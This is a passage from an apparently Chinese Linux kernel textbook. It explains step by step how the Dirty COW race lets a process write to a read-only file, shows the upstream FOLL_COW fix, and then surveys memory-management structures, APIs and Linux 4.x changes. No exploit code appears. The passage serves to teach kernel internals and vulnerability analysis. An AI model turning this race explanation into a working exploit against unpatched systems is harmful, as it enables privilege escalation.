回到procselfmemThread线程,此时正要通过follow_page_mask()获取该页的page数据结构。因为该页已被madviseThread线程释放,pte entry不是有效的pte且PRESENT位没有置位,所以follow_page_mask()函数返回NULL。那么又要来一次缺页中断,注意这次不是写错误缺页中断,而是读错误的缺页中断,因为FOLL_WRITE已经被清除。这好比两大绝顶高手(procselfmemThread线程和Linux内核)比武,procselfmemThread线程抓住了一个漏洞,让Linux内核把FOLL_WRITE废掉。

在handle_pte_fault()函数中,根据判断条件(该页的pte entry不是有效的、PRESENT位没有置位且是读错误缺页中断的page cache)跳转到do_read_fault()函数读取了该文件的内容并返回0(注意此时是读文件的内容,是page cache页面, madviseThread线程释放的页面是处理cow缺页中断中产生的匿名页面),因此在__get_user_pages()函数中再做一次retry即可正确地返回该页的page结构。

回到__access_remote_vm()函数中,get_user_pages()函数正确获取了该页的page结构,注意该页是page cache,用kmap重新映射,然后写入想要的内容,把该页设置为dirty,系统的回写机制会把最终的内容写入到只读文件中,这样一个黑客过程就完成了。

下面请思考:如果Dirty COW程序没有madviseThread线程,即只有procselfmemThread线程是否能修改foo文件的内容呢?

下面来看社区是如何修复这个问题的,2016年10月18日,Linus Torvalds合并了一个patch[35]修复了此bug。

--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2232,6 +2232,7 @@ static inline struct page *follow_page(struct vm_area_struct *vma,
 #define FOLL_TRIED     0x800    /* a retry, previous pass started an IO */
 #define FOLL_MLOCK     0x1000   /* lock present pages */
 #define FOLL_REMOTE    0x2000   /* we are working on non-current tsk/mm */
+#define FOLL_COW       0x4000   /* internal GUP flag */

 typedef int (*pte_fn_t)(pte_t *pte, pgtable_t token, unsigned long addr,
              void *data);
diff --git a/mm/gup.c b/mm/gup.c
index 96b2b2f..22cc22e 100644
--- a/mm/gup.c
+++ b/mm/gup.c
@@ -60,6 +60,16 @@ static int follow_pfn_pte(struct vm_area_struct *vma, unsigned long address,
    return -EEXIST;
 }

+/*
+ * FOLL_FORCE can write to even unwritable pte's, but only
+ * after we've gone through a COW cycle and they are dirty.
+ */
+static inline bool can_follow_write_pte(pte_t pte, unsigned int flags)
+{
+    return pte_write(pte) ||
+         ((flags & FOLL_FORCE) && (flags & FOLL_COW) && pte_dirty(pte));
+}
+
 static struct page *follow_page_pte(struct vm_area_struct *vma,
          unsigned long address, pmd_t *pmd, unsigned int flags)
 {
@@ -95,7 +105,7 @@ retry:
      }
      if ((flags & FOLL_NUMA) && pte_protnone(pte))
           goto no_page;
-     if ((flags & FOLL_WRITE) && !pte_write(pte)) {
+     if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
           pte_unmap_unlock(ptep, ptl);
           return NULL;
      }
@@ -412,7 +422,7 @@ static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
       * reCOWed by userspace write).
       */
      if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
-           *flags &= ~FOLL_WRITE;
+              *flags |= FOLL_COW;
      return 0;
 }

patch重新定义了一个flag为FOLL_COW来标记该页是一个COW页面。在faultin_page()函数中,当do_wp_page对某个COW页面处理后返回VM_FAULT_WRITE,并且该页对应的vma属性是不可写的,不再清除FOLL_WRITE而且设置新的标记FOLL_COW,因此可以避免上述的竞争关系。此外,使用pte的dirty位来验证FOLL_COW的有效性。

重新思考刚才的问题:如果Dirty COW程序没有madviseThread线程,即只有procselfmem Thread线程是否能修改foo文件的内容呢?

首先简单回忆整个过程:Dirty COW程序的目的是写一个只读文件的内容(vma->flags为只读属性),那么必然要先读出来这个文件的内容,这个页是page cache。但由于第一次去写,页不在内存中且pte entry不是有效的,所以调用do_cow_page()函数处理写时复制COW,把这个文件对应的内容读到page cache中,然后把page cache的内容复制到一个新的匿名页面中,新匿名页面的pte entry属性是Dirty | RDONLY。然后再去尝试follow_page(),但是不成功,因为FOLL_WRITE和pte entry是只读属性(RDONLY),所以再来一次写错误缺页中断。运行到do_wp_page()里,该函数看到这个页是个匿名页面并且可以复用,所以尝试修改pte entry的write属性,但是,因为vma->flags的只读属性,因此不会成功。

do_wp_page()返回VM_FAULT_WRITE,在返回途中faultin_page()弄丢了FOLL_WRITE,这是问题的关键之一。返回到__get_user_pages()里要求再来一次follow_page()。在这次follow_page()之前,madviseThread线程把该页给释放了,这是该问题的另外一个关键点。那么follow_page()必然失败了,这时再造一次缺页中断,注意是只读,因为FOLL_WRITE已被清除。这样缺页中断重新从文件中读取了page cache内容,并且获取了该page cache控制权,再向该page cache中写东西,并且把该页设置为PG_dirty,系统回写机制稍后将完成最终的写入。

如果上述过程没有出现madviseThread线程,会是什么情况呢?

在do_wp_page()函数返回之后的follow_page()成功了,因为没有madvise Thread来释放该页,注意该页是处理COW产生的匿名页面并且是只读的,__get_user_pages()可以返回该页,然后__access_remote_vm()中使用kmap函数映射到内核空间的线性地址并写入内容。该页是只读的,为什么可以写入呢?因为这里使用kmap来映射该页,和用户空间映射的pte是不一样的,用户空间的pte是只读属性。但是该页毕竟还是匿名页面,要么被swap到磁盘、要么被进程清除、要么和进程“同归于尽”,所以它没有写入最终目标文件的机会。

假设__get_user_pages()函数获取了想要的page cache页面的page数据结构,但是VMA的属性是只读的,为什么可以写成功呢?

关键在__access_remote_vm()函数中,__access_remote_vm()函数通过__get_user_pages()获取了page结构,用kmap来重新映射,kmap是使用内核的线性映射区域,和进程用户空间VMA映射的pte是不一样的,用户空间映射的pte是只读的,kmap映射的pte是可写的。

如果进程使用只读属性(PROT_READ)来mmap映射一个文件到用户空间,然后使用memcpy来写这段内存空间,会是什么样的情况?

首先mmap是可以映射成功的,新创建的VMA的属性(vma->vm_flags)为只读的, memcpy写入时会触发处理器的异常。对于ARM处理器来说,触发一个数据预取异常(DataAbort)。在数据预取异常中,再具体区分是什么异常。对于第一次写,因为页表还没建立,所以是页表转换错误(page translation fault)。

[arch/arm/mm/fsr-2level.c]

static struct fsr_info fsr_info[] = {
   …
{ do_page_fault,     SIGSEGV, SEGV_MAPERR,     "page translation fault"},
{ do_page_fault,     SIGSEGV, SEGV_ACCERR,     "page permission fault"},
   …
};

fsr_info数组中有定义多种缺页异常的类型。

[do_DataAbort()->do_page_fault()->__do_page_fault()]

static int __kprobes
__do_page_fault(struct mm_struct *mm, unsigned long addr, unsigned int fsr,
        unsigned int flags, struct task_struct *tsk)
{
    struct vm_area_struct *vma;
    int fault;

    vma = find_vma(mm, addr);
    fault = VM_FAULT_BADMAP;
    if (unlikely(!vma))
         goto out;
    if (unlikely(vma->vm_start > addr))
         goto check_stack;

    /*
     * Ok, we have a good vm_area for this
     * memory access, so we can handle it.
     */
good_area:
    if (access_error(fsr, vma)) {
         fault = VM_FAULT_BADACCESS;
         goto out;
    }

    return handle_mm_fault(mm, vma, addr & PAGE_MASK, flags);
out:
    return fault;
}

在调用Linux内核的缺页中断函数handle_mm_fault()前,__do_page_fault()会用access_error()判断VMA的读写属性。

static inline bool access_error(unsigned int fsr, struct vm_area_struct *vma)
{
     unsigned int mask = VM_READ | VM_WRITE | VM_EXEC;

     if (fsr & FSR_WRITE)
           mask = VM_WRITE;
     if (fsr & FSR_LNX_PF)
           mask = VM_EXEC;

     return vma->vm_flags & mask ? false : true;
}

因此在上述场景中,access_error()判断当前vma的flag不具有写属性,直接返回错误,连调用handle_mm_fault()的机会都没有,最后调用__do_user_fault()通知用户进程这是一个段错误(Program received signal SIGSEGV, Segmentation fault)。

在阅读本节前请思考如下小问题。

请画出内存管理中常用的数据结构的关系图,例如mm_struct、vma、vaddr、page、pfn、pte、zone、paddr和pg_data等,并思考如下转换关系。

在大部分Linux系统中,内存设备的初始化一般是在BIOS或bootloader中,然后把DDR的大小传递给Linux内核,因此从Linux内核角度来看DDR,其实就是一段物理内存空间。在Linux内核中,和内存硬件物理特性相关的一些数据结构主要集中在MMU(处理器中内存管理单元)中,例如页表、cache/TLB操作等。因此大部分的Linux内核中关于内存管理的相关数据结构都是软件的概念中,例如mm、vma、zone、page、pg_data等。Linux内核中的内存管理中的数据结构错综复杂,归纳总结如图2.36所示。

图2.36 内存管理数据结构关系图

(1)由mm数据结构和虚拟地址vaddr找到对应的VMA。

内核提供相当多的API来查找VMA。

struct vm_area_struct * find_vma(struct mm_struct * mm, unsigned long addr);

struct vm_area_struct * find_vma_prev(struct mm_struct * mm, unsigned long addr, struct vm_area_struct **pprev);

struct vm_area_struct * find_vma_intersection(struct mm_struct * mm, unsigned long start_addr, unsigned long end_addr)

由VMA得出MM数据结构,struct vm_area_struct数据结构有一个指针指向struct mm_struct。

struct vm_area_struct {
  …
     struct mm_struct *vm_mm;
  …
}

(2)由page和VMA找到虚拟地址vaddr。

[mm/rmap.c]

//只针对匿名页面, KSM页面见第2.17.2节
unsigned long vma_address(struct page *page, struct vm_area_struct *vma)
=>pgoff = page->index; 表示在一个vma中page的index
=>vaddr = vma->vm_start + ((pgoff - vma->vm_pgoff) << PAGE_SHIFT); 

(3)由page找到所有映射的VMA。

通过反向映射rmap系统来实现rmap_walk()
对于匿名页面来说:
=>由page->mapping找到anon_vma数据结构
=>遍历anon_vma->rb_root红黑树,取出avc数据结构
=>每个avc数据结构中指向每个映射的VMA

由VMA和虚拟地址vaddr,找出相应的page数据结构。

[include/linux/mm.h]

struct page *follow_page(struct vm_area_struct *vma, unsigned long vaddr, unsigned int foll_flags)

=>由虚拟地址vaddr通过查询页表找出pte
=>由pte找出页帧号pfn,然后在mem_map[]找到相应的struct page结构

(4)page和pfn之间的互换

[include/asm-generic/memory_model.h]

由page到pfn: 
page_to_pfn()
    #define __page_to_pfn(page)     ((unsigned long)((page) - mem_map) + \
                   ARCH_PFN_OFFSET)

由pfn到page:
#define __pfn_to_page(pfn)     (mem_map + ((pfn) - ARCH_PFN_OFFSET)) 

(5)pfn和paddr之间的互换

[arch/arm/include/asm/memory.h]

由paddr和pfn:
#define     __phys_to_pfn(paddr)     ((unsigned long)((paddr) >> PAGE_SHIFT))

由pfn到paddr:
#define     __pfn_to_phys(pfn)     ((phys_addr_t)(pfn) << PAGE_SHIFT) 

(6)page和pte之间的互换

由page到pte:
=>先由page到pfn
=>然后由pfn到pte
由pte到page:
#define pte_page(pte)          (pfn_to_page(pte_pfn(pte)))

(7)zone和page之间的互换

由zone到page:
   zone数据结构有zone->start_pfn指向zone起始的页面,然后由pfn找到page数据结构。

由page到zone:
   page_zone()函数返回page所属的zone,通过page->flags布局实现。

(8)zone和pg_data之间的互换

由pd_data到zone:
   pg_data_t->node_zones

由zone到pg_data:
   zone->zone_pgdat

内存管理错综复杂,不仅要从用户态的相关API来窥探和理解Linux内核内存是如何运作,还要总结Linux内核中常用的内存管理相关的API。前文中已经总结了内存管理相关的数据结构的关系,下面总结内存管理中内核常用的API。

1.页表相关

页表相关的API可以概括为如下4类。

//查询页表
#define pgd_offset_k(addr) pgd_offset(&init_mm, addr)
#define pgd_index(addr)       ((addr) >> PGDIR_SHIFT)
#define pgd_offset(mm, addr)  ((mm)->pgd + pgd_index(addr))
#define pte_index(addr)       (((addr) >> PAGE_SHIFT) & (PTRS_PER_PTE - 1))
#define pte_offset_kernel(pmd,addr)  (pmd_page_vaddr(*(pmd)) + pte_index(addr))
#define pte_offset_map(pmd,addr)   (__pte_map(pmd) + pte_index(addr))
#define pte_unmap(pte)              __pte_unmap(pte)
#define pte_offset_map_lock(mm, pmd, address, ptlp)

//判断页表项的状态位
#define pte_none(pte)     (!pte_val(pte))
#define pte_present(pte)  (pte_isset((pte), L_PTE_PRESENT))
#define pte_valid(pte)    (pte_isset((pte), L_PTE_VALID))
#define pte_accessible(mm, pte)    (mm_tlb_flush_pending(mm) ? pte_present(pte) : pte_valid(pte))
#define pte_write(pte)    (pte_isclear((pte), L_PTE_RDONLY))
#define pte_dirty(pte)    (pte_isset((pte), L_PTE_DIRTY))
#define pte_young(pte)    (pte_isset((pte), L_PTE_YOUNG))
#define pte_exec(pte)     (pte_isclear((pte), L_PTE_XN))

//修改页表
#define mk_pte(page,prot) pfn_pte(page_to_pfn(page), prot)
static inline pte_t pte_mkdirty(pte_t pte)
static inline pte_t pte_mkold(pte_t pte)
static inline pte_t pte_mkclean(pte_t pte)
static inline pte_t pte_mkwrite(pte_t pte)
static inline pte_t pte_wrprotect(pte_t pte)
static inline pte_t pte_mkyoung(pte_t pte)
static inline void set_pte_at(struct mm_struct *mm, unsigned long addr,
                      pte_t *ptep, pte_t pteval)
int ptep_set_access_flags(struct vm_area_struct *vma,
                unsigned long address, pte_t *ptep,
                pte_t entry, int dirty)

//pagepfn的关系
#define pte_pfn(pte)      ((pte_val(pte) & PHYS_MASK) >> PAGE_SHIFT)
#define pfn_pte(pfn,prot)  __pte(__pfn_to_phys(pfn) | pgprot_val(prot)) 
2.内存分配

内核中常用的内存分配API如下:

//分配和释放页面
static inline struct page * alloc_pages(gfp_t gfp_mask, unsigned int order)
unsigned long __get_free_pages(gfp_t gfp_mask, unsigned int order)
struct page *
__alloc_pages_nodemask(gfp_t gfp_mask, unsigned int order,
            struct zonelist *zonelist, nodemask_t *nodemask)
void free_pages(unsigned long addr, unsigned int order)
void __free_pages(struct page *page, unsigned int order)

//slab分配器
struct kmem_cache *
kmem_cache_create(const char *name, size_t size, size_t align,
        unsigned long flags, void (*ctor)(void *))
void kmem_cache_destroy(struct kmem_cache *s)
void *kmem_cache_alloc(struct kmem_cache *cachep, gfp_t flags)
void kmem_cache_free(struct kmem_cache *cachep, void *objp)
static void *kmalloc(size_t size, gfp_t flags)
void kfree(const void *objp)

//vmalloc相关
void *vmalloc(unsigned long size)
void vfree(const void *addr) 
3.VMA操作相关
struct vm_area_struct * find_vma(struct mm_struct * mm, unsigned long addr);
struct vm_area_struct * find_vma_prev(struct mm_struct * mm, unsigned long addr,
                         struct vm_area_struct **pprev);
struct vm_area_struct * find_vma_intersection(struct mm_struct * mm, unsigned long start_addr, unsigned long end_addr);
static int find_vma_links(struct mm_struct *mm, unsigned long addr,
           unsigned long end, struct vm_area_struct **pprev,
           struct rb_node ***rb_link, struct rb_node **rb_parent);
int insert_vm_struct(struct mm_struct *mm, struct vm_area_struct *vma);
4.页面相关

内存管理的复杂之处是和页面相关的操作,内核中常用的API函数归纳如下。

//PG_XXX标志位操作
PageXXX()
SetPageXXX()
ClearPageXXX()
TestSetPageXXX()
TestClearPageXXX()
void lock_page(struct page *page)
int trylock_page(struct page *page)
void wait_on_page_bit(struct page *page, int bit_nr);
void wake_up_page(struct page *page, int bit)
static inline void wait_on_page_locked(struct page *page)
static inline void wait_on_page_writeback(struct page *page)

//page引用计数操作
void get_page(struct page *page)
void put_page(struct page *page);
#define page_cache_get(page)          get_page(page)
#define page_cache_release(page)      put_page(page)
static inline int page_count(struct page *page)
static inline int page_mapcount(struct page *page)
static inline int page_mapped(struct page *page)
static inline int put_page_testzero(struct page *page)

//匿名页面和KSM页面
static inline int PageAnon(struct page *page)
static inline int PageKsm(struct page *page)
struct address_space *page_mapping(struct page *page)
void page_add_new_anon_rmap(struct page *page,
     struct vm_area_struct *vma, unsigned long address)

//页面操作
struct page *follow_page(struct vm_area_struct *vma,
         unsigned long address, unsigned int foll_flags)
struct page *vm_normal_page(struct vm_area_struct *vma, unsigned long addr,
                pte_t pte)
long get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
         unsigned long start, unsigned long nr_pages, int write,
         int force, struct page **pages, struct vm_area_struct **vmas)

//页面映射
void create_mapping_late(phys_addr_t phys, unsigned long virt,
                   phys_addr_t size, pgprot_t prot)
unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
             unsigned long len, unsigned long prot,
             unsigned long flags, unsigned long pgoff,
               unsigned long *populate)
int remap_pfn_range(struct vm_area_struct *vma, unsigned long addr,
             unsigned long pfn, unsigned long size, pgprot_t prot)

//缺页中断
int do_page_fault(unsigned long addr, unsigned int fsr, struct pt_regs *regs)
int handle_pte_fault(struct mm_struct *mm,
              struct vm_area_struct *vma, unsigned long address,
              pte_t *pte, pmd_t *pmd, unsigned int flags)
static int do_anonymous_page(struct mm_struct *mm, struct vm_area_struct *vma,
          unsigned long address, pte_t *page_table, pmd_t *pmd,
          unsigned int flags)
static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
          unsigned long address, pte_t *page_table, pmd_t *pmd,
          spinlock_t *ptl, pte_t orig_pte)
static int do_wp_page(struct mm_struct *mm, struct vm_area_struct *vma,
          unsigned long address, pte_t *page_table, pmd_t *pmd,
          spinlock_t *ptl, pte_t orig_pte)

//LRU和页面回收
void lru_cache_add(struct page *page)
#define lru_to_page(_head) (list_entry((_head)->prev, struct page, lru))
bool zone_watermark_ok(struct zone *z, unsigned int order, unsigned long mark,
             int classzone_idx, int alloc_flags) 

内存管理是Linux内核社区中最热门的版块之一。内存管理的涉及内容很多,本章只介绍了内存管理中最基本的知识点,例如物理内存初始化、页表映射过程、内核内存布局图、伙伴系统、slab机制、vmalloc、brk、mmap、缺页中断、page引用计数、反向映射、页面回收、匿名页面、页面迁移、页面规整、KSM和Dirty COW等内容,没有提及的内容有THP(transparent huge page)、memory cgroup、slub、CMA、zram、swap、zswap、memory hotplug等,感兴趣的读者可自行深入学习。

下面列举出从Linux 4.0到Linux 4.10中在内存管理方面的更新内容。

在设计之初,64位的CPU还没有面世,因此设计了基于zone的页面回收策略(zone-based reclaim)。32位CPU系统中通常会有大量的高端内存,高端内存所在的zone称为ZONE_HIGH。页面回收策略从基于zone迁移到基于node策略的一个主要原因是在同一个node中不同zone存在着不同的页面老化速度(page age speed),这样会导致很多问题,例如一个应用程序在不同的zone中分配了内存,在高端zone(ZONE_HIGH)分配的页面有可能已经被回收了,而在低端zone(ZONE_NORMAL)分配的页面还在LRU链表中,理想情况下它们应该在同一个时间周期内被回收。从另外一个角度来看zone的各个LRU链表的扫描覆盖率应该趋于一致,也就是在给定的时间内,一个LRU链表被充分扫描了,另外的LRU链表也应该如此。究其原因在于页面回收内核线程kswapd和页面分配内核代码路径page allocator之间复杂的扫描逻辑,长期以来内核社区一直在添加各种诡异的补丁来解决各种问题,试图维护一个公平的扫描率去解决zone老化不一致的问题,但是依然没有从根本上解决。基于node的页面回收机制可以有效解决这个问题,并且去掉基于zone页面回收的一些诡异和难以理解的代码逻辑,fair zone allocator policy算法也是诡异的补丁之一[36]

目前,大内存的机器已经很少继续使用32位的Linux内核,64位Linux内核已经没有高端内存的概念。另外在NUMA机器上,每个节点上的内存布局不同,导致每个节点的页面回收的行为有可能不同。

因此基于内存节点node的LRU页面回收机制更容易让人理解,页面分配机制可以去掉诡异的补丁,并且在NUMA机器上各个node节点的行为比较一致。Linux 4.8内核合并了社区专家Mel Gorman的改动[37]

OOM Killer的改进主要有OOM检测和OOM收割机(reaper)。

那么如何知道系统当前时刻应该执行OOM Killer呢?因为系统内存使用状态是高度变化的,当前时刻分配内存失败不代表下一个时刻这些需要的内存不可以被分配出来,贸然调用OOM Killer这种笨重的武器会导致“杀敌一千自损八百”,所以最好是不要贸然行动,也许内核可以很快讨回所需要的内存。现在的内核在这方面变得有些“鲁莽”和不可预测,因为它有时会鲁莽地调用OOM killer,有时候也会等待很长的时间。

系统分配内存失败时会调用直接回收机制(direct reclaim)来回收一些内存。有些情况下直接回收机制返回成功,但有些情况下回收页面需要等待脏的内容写回磁盘,此时这些脏页面是不可用,虽然它们最终会变成空闲页面,但时间不确定,因此目前的内核会勉强调用OOM Killer。这个问题的关键是没有一个标准来界定这些正在回收的页面何时会变成空闲页面。

在Linux 4.7中,社区专家Michal Hocko提出了新的OOM检测机制[38]:系统分配内存失败时,特别是如果到最后调用直接回收机制(__alloc_pages_direct_reclaim())还是失败,它会去不断尝试并检测当前的空闲页面和可回收页面(reclaimable pages)是否满足分配的需求,最多会尝试16次,只有这些尝试都失败才会去调用OOM Killer。当然有时调用OOM Killer比无谓地尝试和等待要好,因此如果上述尝试是失败的,那么在计算可回收页面数量时会“打折”,减少无谓的尝试和等待。

下面来看OOM收割机。我们一般认为OOM Killer的出现一定能回收了进程使用的内存,但是仍有例外。内核开发者Tetsuo Handa提出了如下的场景[39]

(1)进程A执行XFS文件系统某些操作时需要分配一些内存。

(2)内存管理子系统会尝试分配所需要的内存,如果分配失败,首先尝试直接内存回收机制(direct reclaim)去强制回收内存,如果继续失败,那么会调用OOM Killer。

(3)OOM killer会选择一个进程B来尝试回收。

(4)进程B为了退出需要执行一些XFS文件系统的操作,这些操作会申请锁,恰巧进程A持有这个锁,这时会发生死锁。

所以在上述场景中,进程A无法分配出所需要的内存,OOM Killer也遇到了对手。为此Michal Hocko提出了OOM收割机的机制[40],当一个进程收到SIGKILL信号时,代表它不会在用户态继续运行,可以在进程被销毁之前收割其拥有的匿名页面。OOM收割机的实现比较简单,它会创建一个名为“oom_reaper”的内核线程来做内存收割。

当系统内存紧张时,SWAP子系统把匿名页面写入SWAP分区从而释放出空闲页面,长期以来swapping动作是一个低效的代名词。当系统有大量的匿名页面要向SWAP分区写入时,用户会感觉系统卡顿,所以很多Linux用户关闭了SWAP功能。

如何提高页面回收的效率一直是内核社区中热烈讨论的问题,主要集中在如下两个方面。

前者是很热门的方向,内核社区先后提出了很多大大小小的优化补丁,例如过滤只读一次的page cache风暴、调整活跃LRU和不活跃LRU的比例、调整匿名页面和page cache之间的比例、Refault Distance算法、把LRU从zone迁移到node节点等。

后者则相对冷门很多。回收匿名页面要比回收page cache要复杂很多,一是如果page cache的内容没有被修改过,那么这些页面不需要回写到磁盘文件中,直接丢弃即可;二是通常page cache都是从磁盘中读取或者写入大块连续的空间,而匿名页面通常是分散地写入磁盘交换分区中,scattered IO操作是很浪费时间的。随着SSD的普及,swapping的性能也有很大程序的提高。Tim Chen等社区专家最近在Linux 4.8内核上对SWAP子系统做了大量的研究和测试后,提出了很棒的优化补丁[41],该补丁主要集中优化如下两方面。

(1)CPU操作swap磁盘时需要获取一个全局的spinlock锁,该锁在swap_info_struct数据结构中,通常是一个swap分区有一个swap_info_struct数据结构。当swapping任务很重时,对该锁的争用会变得很激烈,这样会导致swap的性能下降。

优化的方法如下。

(2)struct address_space数据结构指针用于描述内存页面和其对应的存储关系,例如swap分区。那么改变swap分配信息需要更新address_space指向的基数树(radix tree),基数树有一个全局的锁来保护,因此这里也遇到了锁争用的问题。

解决办法是在每个64MB的swap空间中新增一个锁,相当于减小锁粒度。

2017年的LSFMM(Linux Storage Filesystem Memory-Management Summit)大会上有很多关于内存管理的最新热点技术和讨论,这些话题反映了内存管理的最新发展方向。Linux内核在未来几年的发展方向之一是如何利用和管理系统中多种不同性能的内存设备,例如目前热门的Intel Optance内存、显卡中的显存以及其他外设的高速内存等。

1.HMM(Heterogeneous Memory Management)[42]

现在有很多外设拥有自己的MMU和页表,例如GPU或者FPGA等外设,传统地访问这些内存做法是把外设的内存通过设备文件由mmap()系统调用来映射到进程地址空间。应用程序写入这些内存时通常使用malloc()来分配用户内存,必须先锁定(pin)系统内存,然后GPU或FPGA等外设才能访问这些系统内存,这显得很笨重而且容易出现问题。

HMM想提供一个统一和简单的API来映射(mirror)进程地址空间到外设的MMU上,这样进程地址空间的改变可以反映到外设的页表中。建立一个共享的地址空间(shared address space),系统内存可以透明地迁移到外设内存中。HMM新定义一个名为ZONE_DEVICE的zone类型,外设内存被标记为ZONE_DEVICE,系统内存可以迁移到这个zone中,从CPU角度看,就像把系统内存swapping到ZONE_DEVICE中,当CPU需要访问这些内存时会触发一个缺页中断,然后再把这些内存从外设中迁移回到系统内存[43]

2.SWAP下一步的优化方向是提高swap预读性能[44]

如何利用Intel Optance内存和SSD来提升系统的性能也是一个值得研究的课题。

3.Refault Distance算法进一步优化[45]

在第2.13节中已经介绍过Refault Distance算法在页面回收中的作用。Johannes Weiner对这个项目进行了进一步的优化,利用refault distance来考查从匿名页面LRU链表和page cache LRU链表回收页面产生的代价,重点关注被回收(reclaimed)的页面是否会很快地被重新访问(refault back)。如果匿名页面在速度很快的 SSD swap Device上,而page cache在比较慢的机械磁盘上,那么我们应该酌情考虑把匿名页面优先swap到SSD swap分区上来,从而释放出空闲页面。

[1] 该值与实际内核配置和image大小相关。

[2] Linux 3.8 patch commit dbf62d50 < ARM: mm: introduce L_PTE_VALID for page table entries >.

[3] Linux 3.8 patch commit 26ffd0d4 < ARM: mm: introduce present, faulting entries for PAGE_NONE >.

[4] vmalloc适用于分配大块内存,这里举10Byte的例子只是为了分配的大小要和页面大小对齐。

[5] https://meta.slashdot.org/story/12/10/11/0030249/linus-torvalds-answers-your-questions

[6] 请见ARMv7-A的芯片手册:<ARM Architecture Reference Manual, ARMv7-A and ARMv7-R edition>, 第B4.1.51节和第B4.1.52节,读者可以到ARM公司官网下载。

[7] KSM全称为Kernel Samepage Merging。注意匿名页面与KSM页面的区别,见第2.17.2节。

[8] 详见http://lwn.net/Articles/23732/。

[9] 在Linux 4.8内核中已改为基于node的LRU链表,详见第2.20节。

[10] 对于Linux内核来说,PTE_YOUNG标志位是硬件的比特位,PG_active和PG_referenced是软件比特位。

[11] Linux2.6.29, commit bf3f3bc5e, <mm: don't mark_page_accessed in fault path>, by Nick Piggin.

[12] Linux2.6.34,commit 64574746, <vmscan: detect mapped file pages used only once>,by Johannes Weiner.

[13] Linux3.3, commit 34dbc67, <vmscan: promote shared file mapped pages>,by Konstantin.

[14] Linux-2.6.29,commit 4917e5d, <mm: more likely reclaim MADV_SEQUENTIAL mappings>, by Johannes Weiner.

[15] http://lwn.net/Articles/286472/Linux-2.6.28 patch, commit 7e9cd48, <vmscan: fix pagecache reclaim referenced bit check>.

[16] 页面分配路径上的直接页面回收(Directly reclaim)和kswapd有可能争用zone->lru_lock锁。

[17] Linux 3.11 patch,commit b8e83b94, < mm: vmscan: flatten kswapd priority loop >,by Mel Gorman.

[18] Linux 2.6.28 patch, commit 4f98a2f, < vmscan: split LRU lists into anon & file sets>, by Rik van Riel. 最早是在该patch中引入这两个变量,用于判断当前LRU链表中缓存页面是否有价值。

[19] Linux-2.6.31,commit 56e49d21,< vmscan: evict use-once pages first>,by Rik van Riel.

[20] Linux-2.6.28 patch, commit 7e9cd484, <vmscan: fix pagecache reclaim referenced bit check>,by Rik van Riel.

[21] Linux-2.6.31 patch, commit 8cab475, <vmscan: make mapped executable pages the first class citizen>, by Wu Fengguang.

[22] Linux-3.11 patch: Commit 7548536, < mm: vmscan: limit the number of pages kswapd reclaims at each priority >; Commit 283aba9, < mm: vmscan: block kswapd if it is encountering pages under writeback >.

[23] Linux-3.2 patch, commit ee72886d, < mm: vmscan: do not writeback filesystem pages in direct reclaim>, Commit f84f6e2b < mm: vmscan: do not writeback filesystem pages in kswapd except in high priority>.

[24] Linux-3.11 patch, commit d43006d, < mm: vmscan: have kswapd writeback pages based on dirty pages encountered, not priority>.

[25] Linux 3.15 patch, commit a528910e1,<mm: thrash detection-based file cache sizing>, by Johannes Weiner.

[26] 笔者在2004年春天做大学毕业设计期间开始接触Linux内核代码,得益于毛德操老师的《Linux内核源代码情景分析》一书。

[27] 笔者翻阅了大量文献都没有看到有关匿名页面生命周期的描述,但实际上不论是匿名页面,还是page cache都是有其生命周期的。

[28] https://lwn.net/Articles/224829/

[29] https://lwn.net/Articles/591998/

[30] KSM是在Linux-2.6.32中加入的新功能。KSM作者的论文:https://www.kernel.org/doc/ols/2009/ols2009-pages-19-28.pdf。

[31] 这里为什么要使用memcmp来对比两个页面内容是否一致呢?一般来说,页的大小是4096Byte,那么如果按照4 Byte来对比,最糟糕的情况也要比较1024次,为什么不用哈希算法呢?因为VMware公司在2004年申请了一个类似的专利,专利号:US 6789156B1。

[32] Linux安全专家Phil Oester发现Dirty COW漏洞,详情请见:https://github.com/dirtycow/dirtycow.github.io/wiki/ VulnerabilityDetails。

[33] Linux 4.9, commit 19be0ea, < mm: remove gup_flags FOLL_WRITE games from __get_user_pages()>, by Linus Torvalds.

[34] 此修改在Linux 2.6.13中被引入。2005年,Linus Torvalds提出用Patch (PATCH) fix get_user_pages bug来修复Dirty COW问题,而后Nick Piggin修改了s390处理器相关问题([PATCH] fix get_user_pages bug)时又回滚了此问题。

[35] Linux 4.9, commit 19be0ea, < mm: remove gup_flags FOLL_WRITE games from __get_user_pages()>, by Linus Torvalds.

[36] Linux 3.13 patch commit 81c0a2bb, <mm: page_alloc: fair zone allocator policy>, by Johannes Weiner. 除此之外,还有其他一些tricky的patch,不建议读者深入研究这些诡异的patch: Linux 3.9 patch commit 9b4f98c, <mm: vmscan: compaction works against zones, not lruvecs>, by Johannes Weiner. Linux 3.11 patch commit e82e056, <mm: vmscan: obey proportional scanning requirements for kswapd>,by Mel Gorman.

[37] https://lwn.net/Articles/694121/

[38] https://lwn.net/Articles/667939/

[39] https://lwn.net/Articles/627420/, https://lwn.net/Articles/627419/

[40] Linux 4.6 patch, commit aac45363554, <mm, oom: introduce oom reaper>, by Michal Hocko.

[41] https://lwn.net/Articles/704359/; https://lwn.net/Articles/704478/

[42] https://lwn.net/Articles/597289/;https://lwn.net/Articles/679300/

[43] https://lwn.net/Articles/717614/

[44] https://lwn.net/Articles/716296/

[45] https://lwn.net/Articles/690079/

相关图书

Linux常用命令自学手册
Linux常用命令自学手册
庖丁解牛Linux操作系统分析
庖丁解牛Linux操作系统分析
Linux后端开发工程实践
Linux后端开发工程实践
轻松学Linux:从Manjaro到Arch Linux
轻松学Linux:从Manjaro到Arch Linux
Linux高性能网络详解:从DPDK、RDMA到XDP
Linux高性能网络详解:从DPDK、RDMA到XDP
跟老韩学Linux架构(基础篇)
跟老韩学Linux架构(基础篇)

相关文章

相关课程